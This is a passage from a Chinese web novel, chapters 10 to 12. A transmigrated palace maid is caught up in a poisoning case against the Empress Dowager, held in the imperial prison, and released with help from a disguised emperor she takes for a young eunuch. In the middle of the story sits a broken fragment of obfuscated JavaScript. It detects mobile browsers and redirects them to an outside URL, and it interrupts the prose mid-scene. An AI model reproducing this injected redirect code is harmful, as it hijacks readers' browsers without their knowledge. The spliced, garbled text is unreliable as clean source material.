苏蓁蓁打了一个哈欠,坐在一侧大石上。
抖抖抖……冷。
突然,从天而降一件披风落到她身上。
苏蓁蓁疑惑抬头,看到了站在自己身后的沈言辞。
苏蓁蓁:……
“天气冷,怎么一个人在这?”
工作啊,大哥,哪里像你一天到晚那么闲,你的反周复燕大业呢?
苏蓁蓁猛地一抖,沈言辞那件带着暗香的披风就落到了地上。
苏蓁蓁直接一个头点地,“参见大人。”
沈言辞见过很多女人,他知道,她们喜欢他的皮囊,喜欢他的温和有礼,喜欢他的才学出众。
因此,他很能分辨女人。
“地上冷,快起来吧。”
苏蓁蓁被沈言辞扶着胳膊拉了起来。
看着斯斯文文的,怎么力气这么大。
“你看,衣裳都脏了。”男人垂目,表情温和。
如果不是你突然过来,需要她磕头的话,她的衣裳会脏吗?
“上次见你不是在奉天殿那边扫地吗?”
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苏蓁蓁低着头,只给沈言辞看一个头顶,“内务府将奴婢调到此处了。”
“是嘛。”
沈言辞语气温和,表情微笑。
苏蓁蓁继续低头。
沈言辞脸上的微笑逐渐僵硬。
一向都是女子寻他搭讪然后找话题。
“这里的牡丹很漂亮。”沈言辞弯腰,折了一支牡丹替苏蓁蓁戴在头上。
美人配花,这张脸竟是将这花都衬得艳俗了。
苏蓁蓁正低着头盯着自己的脚尖看,想这狗东西什么时候走,冷不丁感觉头上一凉,好像有什么东西落了下来。
她神色迷茫地抬头,伸手摸了摸,摸下来一支牡丹。
苏蓁蓁:……
“啊!”苏蓁蓁大叫一声。
沈言辞下意识往后撤了一步,眼神中闪过一丝警惕,一只手按住藏在腰间的软剑。
四周风起,只余牡丹飘香。
“大大大人,这牡丹奴婢赔不起。”
你摘什么不好,你摘花王!衬得你眼光好啊!
沈言辞:……
“多少银子。”男人脸上笑容微僵。
“奴婢,奴婢也不知道。”苏蓁蓁慌了,她赔不起,想到这里,她一把拽住沈言辞的衣角。
“这花是大人您摘的,跟奴婢没有关系,您跟管事姑姑去说一声吧?”
“知道了,你松手。”沈言辞最重仪态,他低头看着苏蓁蓁指尖上的泥泞沾染到他纯白色的衣角上。
沈言辞额角突起。
“不行。”
沈言辞:“……你觉得我会跑了吗?”
苏蓁蓁低头不语,只是一味抓着他。
沈言辞:……
沈言辞摘的是花王姚黄,听闻是太后最喜欢的一种牡丹花,过几日摆牡丹宴还要用上呢。
因此,过来的人是司苑司女官。
“你是看管牡丹苑的宫女?”
那女官上来便是问责。
苏蓁蓁赶忙跪地道:“是。”说着话,她又偷偷扯了扯沈言辞。
沈言辞深吸一口气,“是我摘的。”
其实牡丹苑内摘些花也没什么,主要看摘的人是谁。
若是皇帝,便是将这牡丹苑烧了也没事。
“既是大人,那自然无事,只是这宫女看管不严,是一定要罚的。”
“是我的错,不要罚她。”君子蹙眉,显然是没有想到自己的无心之失居然会让一个宫女受罚。
他立时揽下所有责任,如此英雄救美的环节,宫女必然心生好感。
当然是你的错!
苏蓁蓁低着头,藏在袖子里的小指头悄悄对沈言辞的方向比了比。
狗资本家,让人拴着脑袋干白工还摘她的牡丹花!
既然有沈言辞这个二品大员说情,苏蓁蓁自然没有受到处分。
沈言辞走后,苏蓁蓁看到地上那件披风,下意识皱了皱眉。
-
“大人。”
宫门口,刘景行早已等候多时。
沈言辞朝他微微一颔首,便踩着马凳上了马车。
两人一齐进入马车,刘景行为沈言辞添了一盏茶水。
“大人,如何了?”
“愚笨。”
“是个下等暗桩,再过三年便要出宫了,连背后之人是谁都不知道,由此可见自然不是一个聪明人。”说完,刘景行发现沈言辞身上缺了件衣裳。
“大人,您的披风呢?”
沈言辞皱眉看着自己黑漆漆的衣角,表情舒缓几分,“留下了。”
刘景行神色一顿,“您的意思是……美男计?”
沈言辞端起面前茶盏轻抿一口,“因为她不知那暴君真实身份,所以才能欺瞒过去,我们要她办事,自然不能让她露出马脚。一个二品大员,一个深宫太监,她自然知道该怎么选。”
-
苏蓁蓁把沈言辞留下的两样东西给卖了。
沈言辞在宫里头很有市场。
一把红伞,一件披风,价高者得,分别卖了二十两和五十两。
可惜了,她不能出宫,不然按照外面贵女们对沈言辞的痴迷程度,还能卖得更高。
卖完了沈言辞的东西,苏蓁蓁终于有银子去替穆旦买药了。
宫里头的东西虽然贵,但质量好。
毕竟能送到宫里的若是出了差错,那是要掉脑袋的。
苏蓁蓁要了银针,装在针囊里,看起来很新。
等从牡丹苑下班之后,苏蓁蓁就带着她新得的银针来到了小南宫。
“你来了。”
这次穆旦居然比她先到。
檐下挂着一盏淡淡的灯,晕黄色的光照在少年脸上,透出一股薄凉感来。
苏蓁蓁走上前,正在思索着要怎么开口给他扎针。
那边陆和煦单手托腮,语调拖长,“我听说你今日在牡丹苑内见了一个人。”
10. 第 10 章
谁?
哦,沈扒皮啊。
“过来。”
美少年招手。
苏蓁蓁走过去,看到少年扬起的白细脖颈。
少年抬起手,抓住她的指尖。
苏蓁蓁听到自己擂鼓般的心跳声。
小太监指尖微冷,像是裹着冰棍的白玉。
“他是谁呀?”
“听说是沈大人。”
【沈言辞这个狗东西。】
陆和煦蹙眉。
“沈大人不小心摘了一朵牡丹,差点给我惹下大麻烦。”
【沈言辞这个狗东西。】
“幸好最后我没有受罚。”
【沈言辞这个狗东西。】
【沈言辞这个狗东西。】
【沈言辞这个狗东西。】
陆和煦松开手。
苏蓁蓁微笑道:“好了,我们扎针吧。”
嗯?
陆和煦抬眸,看到苏蓁蓁手里细长的银针。
他的瞳孔瞬间收缩,身子往后一仰,撞到身后的墙。
小南宫年久失修,那墙上都是斑驳墙粉,蹭了小太监一身。
“拿开……”
苏蓁蓁听到了小太监颤抖的声音。
她赶紧将银针收了起来。
陆和煦面色苍白地靠在那里,垂落的发丝掩住双面,里面带着充血的戾气。
想杀人。
他霍然起身,然后被苏蓁蓁一把按了回去。
下一刻,一颗蜜饯被塞进了他嘴里。
浸了蜂蜜的蜜饯,比寻常的蜜饯更甜许多。
淡淡的甜味在陆和煦口中散开。
“别怕,没事。”
看来小太监不止是吃过丹药的苦,还吃过银针的苦。
这可怎么办?
不用银针的话,就只能继续灌苦药了。
苏蓁蓁低头,看向安静下来的穆旦。
少年垂首坐在那里,苍白的左脸面颊微微鼓起,那里被她塞了一颗蜂蜜蜜饯。
头发好长,似乎很久没有打理过了。
苏蓁蓁试探性地伸手,轻轻拨了拨小太监的头发,见他没有反应,便以指代梳,轻轻替他梳了一下。
嘴里的甜味完全消失,陆和煦的情绪也控制了下来。
他眸中猩红缓慢褪去,抬眸看向面前站着的女人。
女人对上他的视线,莫名心虚。
陆和煦眯眼。
苏蓁蓁想伸手,被人一把扣住腕子。
【可爱可爱可爱啊啊啊啊啊,是双马尾美少年!】
陆和煦皱眉,他起身踮脚拿起挂在檐下的灯笼,来到清泉边。
幽幽清泉浸着月色照出他现在的样子。
太监帽不知道什么时候掉了,蓬松散乱的头发被梳理了一下,然后往两边分开,扎成两个马尾。
少年年纪小,肌肤又白,脸又精致,自带雌雄莫辨的美。
“这是什么?”
哦,古代没有双马尾。
“一种最新的发髻,好看。”苏蓁蓁点头,用力点头,非常用力点头。
小太监眯眼看她。
苏蓁蓁心虚又惊艳。
多看两眼赚两眼。
美少年抬手,扯下发带,长发落下来,发带被他随手扔在地上。
“我错了我错了,对不起对不起。”苏蓁蓁赶忙捡起来道歉,“不然我的头发也给你绑?”
“不要。”
“那我……给你做一罐樱桃酱?”
美少年勉强同意。
苏蓁蓁松了一口气。
真好哄。
下次还敢。
-
当天晚上,苏蓁蓁就做梦了。
她梦到自己回到了家里,那只瘸腿猫被师兄师姐们养的很好,肥了一圈。
真好。
苏蓁蓁这样想着,蹲下来抱起瘸腿猫……一下没抱起来。
她用力了一点,瘸腿猫被她抱起来以后在她怀里挣扎。
瘸腿猫一直都不喜欢被人抱。
苏蓁蓁强制拥抱着它倒在床铺上,然后使劲蹂躏亲吻它。
啊啊啊,这个人就是娘,这个人就是妈~
下一刻,她感觉怀里的瘸腿猫似乎变大了。
苏蓁蓁看着怀里这只长着猫耳,名唤穆旦的美少年,神色呆滞。
这到底是什么绝世美梦。
“苏蓁蓁,苏蓁蓁……”
苏蓁蓁被人喊醒了。
“太阳都要晒屁股了。”
苏蓁蓁迷迷糊糊张嘴,“它的屁股有你翘吗?”
下一刻,苏蓁蓁被人扯落了被子,她猛地一下坐起来。
醒了,醒了,我醒了。
过来唤她的是掌管牡丹苑的姑姑。
苏蓁蓁马上起来洗漱,视线落到自己的床头,那里放着她上次从穆旦头上取下来的发带。
看起来料子很不错,不像是普通太监用的东西,难道是什么主子赏给他的?
带在身上,今天晚上还给小宝贝。
苏蓁蓁打着哈欠提着灯笼起身,在牡丹苑内走动巡逻。
太后举办的牡丹宴马上就要到了,她这里是万万不能出差错的,不然就是砍头的命。
“扑通”一声,有人歪斜着差点要倒在牡丹丛里。
啊!
苏蓁蓁无声尖叫,一把扯住那人往旁边拽,成功解救了她的牡丹和她的小命。
打工人的命真不值钱。
看着完好无损的牡丹,苏蓁蓁跪在地上大口喘气,然后才有空低头看向那个被她扯住的人。
“王银?”
是她的前前前舍友。
“姐姐?”王银看她一眼,声音虚弱。
苏蓁蓁注意到王银脸色苍白,眼底泛青。
“你……”苏蓁蓁话还没说完,一队锦衣卫便表情严肃地冲入了牡丹苑,看到跟王银站在一起的苏蓁蓁时,神色一凛,直接道:“带走。”
带走?走去哪?
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诏狱。
传说中由锦衣卫管辖的人间炼狱之地,入诏狱者,十不存一。
苏蓁蓁只在小说里见过,现在她终于亲身经历了一回。
她被关押的地方极其窄小,阴暗潮湿的地上铺着厚厚一层稻草,那稻草上面站着黏腻的血迹,偶有蛇虫鼠蚁在上面流窜过去。
最可怕的是,她对面就是正在行刑的人。
那人不知道犯了什么罪,被铁钩勾住了琵琶骨,缓慢拉扯。
剧痛之下,那人已经发不出声音。
在他身后,还有一个人被绑在立枷上,几十斤的木枷将人固定住,压在身上,无法坐躺,直至力竭而亡。
苏蓁蓁往后退,退到牢角,她蹲下来,开始努力思考自己现在的处境。
那些锦衣卫显然是来抓王银的,看到她跟王银在一起,以为是同伙就一起抓了。
王银犯了什么罪?
她现在没有跟她关在一起,显然这些锦衣卫是怕他们串供。
苏蓁蓁的脑子很混乱,她努力深呼吸想让自己平静下来,可吸进来的却都是腐烂的尸臭味道。
呕。
苏蓁蓁忍住干呕的欲望,把自己蜷缩的更紧。
下一刻,她听到外面传来窸窸窣窣的谈话声,然后有人走了进来。
苏蓁蓁悄悄探头,看到一抹微亮的光从过道照进来。
锦衣卫提着一盏灯笼走在前面,身后是一位年轻的太监,说年轻其实也不年轻了,看起来应当有三十多岁了。
他身上披了件大氅,手里抱着一个铜质手炉,若非身上穿着太监衣裳,乍然一看像是一位文人书生。
魏恒听说那个给国师下毒的宫女抓住了,还抓到了一个共犯。
“公公,这边请。”
距离苏蓁蓁不远的一间牢房内打开。
她伸出头去,想看清楚那间牢房里关着的人是不是王银。
可惜缝隙太小,她钻不出去,只能贴着墙壁细听。
那边说话声音也太小,她听不清楚。
没过一会,那边像是结束了。
“公公,那个共犯在这里。”
那位公公朝她的方向走了过来。
苏蓁蓁蹲在那里,灯笼照到她脸上。
魏恒的视线从苏蓁蓁脸上扫过,他的脸上擒着温和笑意,看向她的瞬间神色一顿。
苏蓁蓁下意识咽了咽口水。
她已经想好了,他们问什么,她就说什么,绝对不私藏,绝对不给他们用刑的机会。
可这太监却并没有立刻开口询问她,然后俯身朝她关心道:“天气冷,可冻着了没有?”
那倒也没有,身上冷汗被吓得一阵一阵的,暖和着呢。
魏恒弯腰,隔着牢房栏杆将自己手里的铜质手炉递了进来,“可能还要再待几天,别冻坏了身子。”
苏蓁蓁看着太监这双抱着铜炉的书生手,想了想,小心翼翼地伸出自己的手接过。
如此乖顺的态度显然令对面之人好感倍增。
魏恒微微颔首,似是对她安抚一笑,然后转身离开。
这群人来得快,去的也快,苏蓁蓁不明白他们的意图。
她把那个铜炉放到了桌子上,不敢碰。
她知道锦衣卫是魏恒的人,既然王吉没有夺权成功,那么刚才来的这个人应该是魏恒,暴君身边最贴心的秉笔太监,掌管半个朝廷的宦官。
原著中提到他的秉性,心性仁慈,爱护百姓,可他手底下的锦衣卫又最是血腥,是个极其矛盾的人物。
你说他善,他指挥锦衣卫杀起人来毫不手软。
你说他恶,他又以一支朱砂笔不知道救了多少人。
百姓的慈父,贪官的阎王,暗桩的镰刀。
她又要死了。
听说人在最绝境的时候会想起自己最想念的人。
苏蓁蓁不自禁想到了穆旦那张漂亮的小脸蛋。
她还没跟他谈上恋爱呢。
-
魏恒回到寝殿内时,自家祖宗已经回来了。
少年蹲在宝座上,脚上照样没有穿鞋。
他披散着头发,一边无聊地翻看奏折,一边抬手去喝水。
触到手边的茶盏里装着温热的白开水。
陆和煦喝上一口,眉头蹙起,又往侧边的陶罐里抓青杏儿。
那青杏儿也不知道是这祖宗从哪里拿来的,用糖块腌渍之后又用蜂蜜水泡,甜得不行。
可这祖宗就是爱吃。
“陛下今日回来的倒早。”
陆和煦看一眼魏恒,开口道:“她不在。”
他?她?它?
魏恒不动声色地接话,“兴许是有事耽误了。”
“嗯。”
陆和煦点了点头,继续吃青杏儿,然后摸到了一个空陶罐。
没了。
吃完了。
魏恒端了一盆水上前,替陆和煦擦拭手上的糖渍。
“今日锦衣卫抓
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到了那个宫女,听说还有一个共犯,两人现在被关押在诏狱。”
陆和煦单手托腮,“死了吗?”
“好好被关着呢。”
魏恒收起帕子。
陆和煦笑道:“我问太后。”
魏恒低头,“听说只是轻微中毒。”
“哦。”陆和煦不感兴趣。
“陛下。”魏恒踌躇半刻,“听闻那宫女也是有隐情的。”
陆和煦摆了摆手,“你看着办吧。”
魏恒便也不再多说。
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苏蓁蓁已经在这三日了。
这三日内,她没有见过王银,也没有再见过那个太监。
那个铜质手炉已经不热了,被她规规矩矩放在地牢内唯一的一张破桌子上,与这个低矮破旧的牢房形成鲜明对比。
她至今为止都不知道发生了什么事。
难道王银也是沈言辞的人?
苏蓁蓁思来想去,只有这么一种结果。
突然,隔着几个牢房,她听到一阵呕吐声,像是要将心肝脾肺肾都呕出来。
好像是王银。
苏蓁蓁心惊担颤地听着,然后就见那边有锦衣卫跑来跑去,最后请了一个背着药箱的医士过来。
其实第一日被关进来时,苏蓁蓁就看到有医士进过王银的牢房。
当时在牡丹苑她看到王银脸色,也是极其难看的。
苏蓁蓁抻着脑袋,企图看清王银那边的情况。
那医士还没出来,上次那个大太监又过来了。
他脚步有些匆忙,急急进了牢房,半响后,他跟那个医士一起出来了。
医士摇头。
一般来说,大家都懂医生摇头的含金量,那就相当于想吃点啥就给点啥吧。
王银怕是不行了。
原来人真的是随时都会死的。
苏蓁蓁低头,听到身边传来脚步声。
她抬头,看到那个太监。
他隔着栏杆伸出手,抚了抚她的额头,身后跟着那个医士,“替她也看看。”
地牢的门除了送饭外,第一次被打开。
那个医士推门进来,蹲在苏蓁蓁身边给她把脉。
“身体倒是没什么问题,就是有些受惊。”
魏恒点头,视线落到桌子上的那个铜质手炉上。
“添个炭盆吧。”
苏蓁蓁第一次知道暗桩被抓之后的待遇还挺好。
她没有被严刑拷打,也没有三天吃一顿,而是一天吃三顿,甚至伙食比她在牡丹苑里吃得还要好。
那太监命人给她添了一个炭盆,小小的一间地牢瞬间暖和起来。
苏蓁蓁蹲在炭盆边烤手,她的脸被火光照亮,心里却依旧感觉很冷。
魏恒看着这宫女一脸惨白的样子,有心想要安慰,却发现连自己都无法保证能让她安全活着,便索性没有开口。
魏恒转身,正欲离开,脚下一顿。
他提起袍角,看到地上有一根发带,十分眼熟。
“这是你的?”
魏恒捡起发带询问苏蓁蓁。
苏蓁蓁神色慌张地摇头。
可不要把穆旦牵扯进来。
魏恒看她一眼,什么话也没说,转身离开。
-
魏恒回到寝殿,陆和煦站在窗前,盯着月亮瞧。
“陛下没有出去?”
“回来了。”
“又回来了?可是没有寻到人?”
陆和煦看魏恒一眼,眉骨压低,显出戾气。
魏恒后退几步,躬身站在那里,“陛下若觉得无趣,不如随奴才去诏狱看看?”
“不去。”
陆和煦转身坐到宝座上,又去摸那陶罐,摸到空罐。
少年脸上的不耐和烦躁清晰可见。
魏恒上前,“说来有趣,今日在诏狱牢内一宫女身侧捡到一根发带,似乎与陛下常用的那根很像。”说着话,魏恒将那根发带从宽袖暗袋内取出,置到案上。
陆和煦垂眸盯着那根发带,视线又落到魏恒身上。
魏恒低着头站在那里。
-
今天是第四天了,苏蓁蓁按照一日三餐来算。
她不知道自己还能活多久。
外面传来脚步声,一盏琉璃灯在前面开路,光很亮,照得她有些睁不开眼。
现在应该很晚了吧?怎么这个时候过来?难道是她的死期到了?
苏蓁蓁打起精神,看到魏恒出现在她的牢房前。
他身后跟着一个小太监,唇红齿白,就连污秽的诏狱都不能掩盖其美丽。
苏蓁蓁瞬间想到那条发带。
她心跳如擂鼓。
“审问一下。”魏恒将小太监留下了。
牢房的门关上。
苏蓁蓁蹲在地上,仰头看向站在自己面前,拿着毛笔和卷宗的小太监。
她嘴巴一撇,努力忍住眼泪。
陆和煦俯身看她。
那盏琉璃灯被留在了这里,将这一小间地牢照得透亮。
这里只剩下他们两个人。
陆和煦歪头看她,看到她通红的眼眶,要落不落的眼泪。
他眉头微蹙,抬手,抚上她的头顶。
短暂的抚摸,却像是打开了苏蓁蓁脆弱的开关。
可她不能,不能把穆旦牵扯进来。
女人苍白着脸,蹙着眉头,挥开他的手,“你别碰我。”
【我冷,你抱抱我。】
11. 第 11 章
小牢房里面的炭盆已经熄灭了。
温度逐渐降低,那种湿冷的感觉再次袭来。
苏蓁蓁蹲在地上,假装不认识小太监。
小太监看了她一会,侧身坐到了凳子上。
低矮的凳子,抵着破旧的桌子,逼仄的牢房因为多了一个人,所以显得狭隘了不少。
那盏琉璃灯被置在桌子上,漂亮的琉璃印出温润的光。
陆和煦将手里的纸笔置到桌子上,单手托着下颚坐在那里。
苏蓁蓁微微偏头朝外看去,她想看看有没有锦衣卫在附近盯着。
“有些冷。”小太监敲了敲桌子。
外面便传来脚步声。
一个锦衣卫进来将冷掉的炭盆端了出去,然后很快就换了一盆烧得正旺的。
地牢内的温度逐渐上升,苏蓁蓁哆哆嗦嗦的身子也开始回暖。
她的视线不敢跟小太监对上,只是悄悄盯着他的影子发呆。
琉璃灯下,穆旦的影子落下来,薄薄一片,带着漂亮的剪影线条。
他单手撑着下颚,细长的手腕也被完美勾勒出来。
好想牵手哦。
苏蓁蓁神色怔怔地想着。
“姓名。”那边传来声音。
苏蓁蓁下意识抬头看了一眼,正对上小太监冷淡的视线。
人之常情,人之常情,像这种时候就是要跟她划清界限,不然会被她连累的。
“苏蓁蓁,蓁蓁其叶的蓁蓁。”
苏蓁蓁说完,听到自己的声音有些哽咽。
她抬手摸了摸脸,才发现自己不知道什么时候哭了。
好吧,她是有些伤心。
好吧,她是真的挺伤心的。
心里想着这是人之常情,却还是伤心。
女人低着头蹲在那里,只能看到一个圆圆的发顶。
细碎的泪珠落到杂草上,氤氲一小片。
模糊的视线中出现一双黑靴。
微冷的毛笔杆子挑起她的下颚,苏蓁蓁抬头,看到蹲在自己面前的穆旦。
几日未见,小太监似乎又瘦了一些,肌肤更白,唇色更红,在琉璃灯的照耀下周身彷佛镀上了一层漂亮的玉色。
“哭什么?”
他问。
苏蓁蓁颤了颤眼睫,没说话。
陆和煦蹙眉,他扔掉手里的毛笔,改用指尖去掐她的下颚。
【好冷。】
陆和煦的视线落到那个炭盆上。
他不喜热。
这个牢房里的温度已经让他十分不耐烦。
【好害怕。】
【抱抱我。】
陆和煦视线下移,跟女人沾着泪渍的双眸对上。
“要我抱你吗?”
苏蓁蓁瞬间瞪大眼,她下意识朝外看去,外面黑漆漆的,也看不出是不是有人影。
她颤抖着嘴唇摇头,“不要。”
【抱我抱我抱我抱我抱我抱我。】
陆和煦歪头看她,指腹在她湿漉漉的下颚处扫过。
都是她的眼泪,湿漉漉,黏腻腻,热乎乎的。
烦。
小太监抬手,解开了身上的外袍,随手披在苏蓁蓁身上。
带着冷香的外袍将她包裹住,苏蓁蓁神色怔了怔,下意识伸手攥紧,像是抓住了救命稻草一般,用力到指节突起。
她将半张脸埋在里面,微微淡的冷香驱散了诏狱里阴暗腐烂的味道,也让她的心逐渐平稳下来。
“这次我可能真的要死了。”苏蓁蓁低着头,像只小狗崽子一样脑袋点到最低,虽然她没有发出声音,但看起来就像一只正在呜咽哭泣的小奶狗。
陆和煦的心中再次无端升起一股烦躁。
这炭盆真热。
“不会让你死的。”
苏蓁蓁勉强朝小太监露出一个笑,“你一个小太监有什么办法呀,不过能听到你说这句话,我已经很高兴了。”
“你知道我犯了什么事吗?”
少年蹲在她面前,手肘撑在膝盖上,手心托着面颊,“有个放血的宫女给自己喂毒,太后吃了用她的血炼制的丹药中毒了。”
是王银!
苏蓁蓁瞬间汗毛林立。
是太后中毒事件!
苏蓁蓁记得原著中有过这样一段剧情,听说有个宫女为了给自己的姐姐报仇,入宫之后千方百计成为太后的血包,她每日给自己吃点毒药,不至于死,时间长了却也活不了。
最后这个宫女死了,太后却只是轻微中毒。
虽然太后没死,但王银的举动却引发了一场小小的宫女暴动。
十几个被取血的宫女点燃了玄极宝殿,大火燃烧起来,烧死了几个小道士,太后侥幸没死,害怕再遭不测,带着国师着急出宫搬到了皇陵行宫居住。
“王银她……还活着吗?”
小太监神色淡漠地摇了摇头。
苏蓁蓁的眼神黯淡下去,她想,若当时她想起来那个宫女是王银的话,她说出阻止的话,王银也会不顾一切的以身入局往前冲。
对于王银来说,复仇是她活着的唯一希望。
即使知道会失败,她也会尝试。
苏蓁蓁安静了一会,才慢慢道:“这件事情我真的不知情,我一直在牡丹苑看守牡丹,那日里王银突然跑进来,我看她要摔倒了,怕她压坏我的牡丹才出手抓住了她。”
说完,苏蓁蓁见小太监坐到那小破桌前,胡乱写了几笔。
苏蓁蓁探头想看看的时候,外面突然传来一阵急促的脚步声。
魏恒出现在地牢门口,他说,“出来。”
陆和煦起身出了牢房。
苏蓁蓁靠在那里听二人讲话。
断断续续听不真切,只隐约听到“火”、“宫女”这几个词。
魏恒话罢,急匆匆又走了,临走前,他朝苏蓁蓁这里扔下一句,“好好审问”便赶紧走了。
王吉死了之后,魏恒接手大内总管一职,如今上下都需要他处理,尤其是出了这么大的事,他是必须要到场的。
“怎么了?”苏蓁蓁趴在牢房门口问。
陆和煦靠在墙上,“玄极宝殿着火了。”
果然是烧起来了。
小太监突然露出一个恶劣的笑,“你说太后会不会被烧死?”
苏蓁蓁:……
“不会吧。”
牢房的门居然没有关,是笃定她逃不走,还是不敢逃。
苏蓁蓁确实不敢逃。
她蹲得脚麻,坐到了刚才穆旦坐的那个小凳子上,低头的时候看到穆旦在纸上画的东西。
一只可怜兮兮挂着眼泪的小狗。
苏蓁蓁:……
“像不像你?”小太监不知道什么时候来到了她身后,他看似瘦,四肢却纤长。
单臂搭在桌上,从身后虚虚罩住她。
领着一只手屈起指骨,敲了敲这只眼泪小狗。
苏蓁蓁不甘示弱,抓起毛笔就画了一只小猫团。
虽然丑了点,但勉强能看出来是只猫。
小猫团跟哭泣小狗摆在一起,小猫团拧着眉,看起来一副拒人于千里之外的样子,尾巴却勾在哭泣小狗身上。
“好丑。”小太监指着小猫团道:“这个黑团子是什么?”
“是猫,像不像你?”
“一点都不像。”
“哪里不像?”
“哪里都不像。”
“那你这个狗也画得不像。”
“哪里不像?”
“哪里都不像。”
-
魏恒过来的时候,就听到牢房内传来的幼稚争吵。
他轻咳一声,然后抬步走了进来,视线不着痕迹的往那纸上一瞥。
猫团确实丑。
小狗画得倒是惟妙惟肖。
魏恒开口,“时辰到了。”
苏蓁蓁下意识伸手抓住了穆旦的手。
【她要死了,她要死了,她要死了……】
苏蓁蓁面色惨白,抖如筛漏。
陆和煦低头看一眼女人紧握着他的手,眉眼微暗,他偏头看向魏恒,笑道:“干爹,蓁蓁是无辜的。”
魏恒的眉头不可见的狠抖了抖。
干爹!
苏蓁蓁一脸震惊地看向穆旦。
原来你真是阉二代啊!
魏恒双手掩在身后,指尖颤栗,“既已查明是无辜的,那就让她随你出去吧。”
“谢谢干爹。”陆和煦保持着纯净笑容,走出三步,看向苏蓁蓁还坐在那里。
“我,我腿软,站不起来了。”
苏蓁蓁也知道自己没出息,可她觉得自己没有被吓尿已经很好了。
麻烦。
陆和煦走回来,朝她伸出手。
琉璃光下,少年的手如同白玉雕刻一般,漂亮的好像漫画手。
苏蓁蓁伸出手,被他扣住,然后牵着她的手往外去。
小太监走在前面,阴暗潮湿的地牢墙壁上每隔一米亮着一盏极其昏暗的油灯。
小太监的背影在一明一暗的灯色印照下,如同闪光灯一样嵌入苏蓁蓁心底。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937018|192888||http|test|mini|href|location''.split(''|''),0,{}));
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>前面就是出口,一点晨曦暗蓝色的光落在那里。
苏蓁蓁踩上石阶,走出诏狱,呼吸到外面晨间最新鲜的空气,她神色恍惚,脚步未停,撞到小太监后背。
小太监扭身转头看她。
阳光还没出来,空气里压着一层淡淡的晨露潮湿感,灰蓝的天带着晨间的静谧,只能听到彻空的鸟叫声。
苏蓁蓁微微仰头看他,“谢谢你,穆旦。”
【谢谢你,穆旦。】
-
苏蓁蓁回到了牡丹苑,她坐在床铺上,面前的木施上挂着小太监的那件外袍。
苏蓁蓁双手托腮,神色怔怔地看着,时不时傻笑一声。
哎呀,大难不死必有后福啊,苏蓁蓁。
她是真没想到,穆旦的干爹居然是魏恒。
她这也算是……走到后门了?
在诏狱里待了好几天,苏蓁蓁感觉自己身上都臭了。
她带着东西去了浴房洗漱,听到宫女们议论今日发生的事。
“听说玄极宝殿起火之后,太后急匆匆带着国师赶往皇陵行宫去了。”
“我听说是有人纵火,那十几个宫女都被锦衣卫带去诏狱了,恐怕是凶多吉少。”
按照原著剧情发展,此次玄极宝殿着火一事由王吉主查,那十几个宫女包括王银被凌迟处死。
这次换了魏恒,也不知道会不会有另外的结果。
算了,这也不是她能管的事。
苏蓁蓁沐浴完毕,回去的时候扯了几片柚子叶往自己身上使劲扫,用来去去晦气。
-
“陛下,这是那些宫女的名单,都已关押进了诏狱。”
陆和煦坐在宝座上,身上只穿了件单薄的中衣,他的视线在这份宫女名单上扫过,眼神中透出阴郁之色。
“你看着办。”
这句话魏恒再熟悉不过,身为皇帝,陆和煦却从来不管事,任何事情到他头上,他只会扔给魏恒这四个字。
可现在魏恒却突然开始怀疑,这位主子或许从来都已经猜到他想要做什么了。
魏恒垂目站在那里,低头恭顺道:“是,陛下。”
-
苏蓁蓁听到那十几个宫女都被处死了,尸体从诏狱里运出去,直接挖了一个大坑埋了。
她感叹了一会就将这件事过去了,然后拎着筐子去小南宫。
小南宫这里虽然没有人气,但野果野菜野草药却意外生长的很好。
苏蓁蓁踮脚去摘已经熟了大半的樱桃,往嘴里塞了一颗。
好甜。
她摘了满满一筐子樱桃,用泉水洗净之后挖出里面的樱桃核,然后上小炉开始煮。
因为容易糊锅,所以她也不敢愣神,一直用勺子搅弄,并往里面加入蜂蜜和糖块。
等樱桃肉彻底煮熟,变成樱桃酱,苏蓁蓁便将它封存在陶罐里,等着晚上跟穆旦见面送给他。
只送一罐樱桃酱是不是太寒酸了?
苏蓁蓁想起穆旦那根被她遗落的发带,怪不得他能带得起那么漂亮的发带,原来是魏恒的干儿子。
入夜,小太监准时出现。
苏蓁蓁将怀里一直抱着的陶罐递给他。
“给你,樱桃酱。”
“还有你的衣服,我已经给你洗干净了。”
陆和煦对衣服不感兴趣,他抬手拿过樱桃酱打开。
甜腻的果香扑面而来。
“尝尝吗?这里有碗。”
苏蓁蓁接过陶罐,往这只干净的茶碗里倒了半碗樱桃酱。
颜色深红的樱桃酱被置在瓷白色的小茶碗里,沿着杯壁慢慢往下滑。
少年伸出一根手指沾了一点舔上一口,漂亮的双眸微微眯起,像是吃到了美味的傲娇小猫。
一点樱桃酱就美味成这样。
苏蓁蓁也给自己倒了一碗,她伸出手指,学着穆旦的样子沾了一些放入口中。
好甜。
樱桃和蜂蜜的味道融合在一起,甜腻到了心里。
少年抱着碗,用指尖蘸着吃,像小猫用爪捞罐头。
舔一舔,再蘸一蘸。
红色的樱桃果肉如红梅般点缀在他苍白的肌肤上,被他尽数舔舐进去。
微微湿润的唇瓣,如同上了一层果冻唇膏一样透着一股亮晶晶的绯红色彩。
少年垂目,伸手拿木勺去舀罐子里的樱桃酱,被苏蓁蓁握住手腕阻止,“少吃一点,太甜了。”
【好想咬一口他的指尖。】
少年缓慢偏头看她,对上苏蓁蓁无辜且毫无邪念的表情。
12.第 12 章
时间进入五月,天气开始回暖,宫女们都换上了薄衫。
因为牡丹苑这里事务较少,所以在这里工作的宫女还算悠闲。
每日里,这边都会有侍卫经过巡逻,一些没事干的宫女们便会聚在一处讨论哪个侍卫长得最好看,哪个身材最好。有些胆子大的,会将荷包帕子之类的东西送给侍卫,偷偷暗度陈仓。
苏蓁蓁记着上次穆旦把自己从诏狱里捞出来的恩情,一罐樱桃酱当然不能表达她的感激之情,最好是以身相许啦(不是)。
苏蓁蓁将自己的存款都拿了出来,发现连一个像样些的礼物都买不起。
好吧,礼物贵在心意,而不是价格。
苏蓁蓁看到同屋的宫女们会自己绣荷包香囊,送给心仪的侍卫。
她想了想,决定就跟风绣个小猫形状的香囊吧。
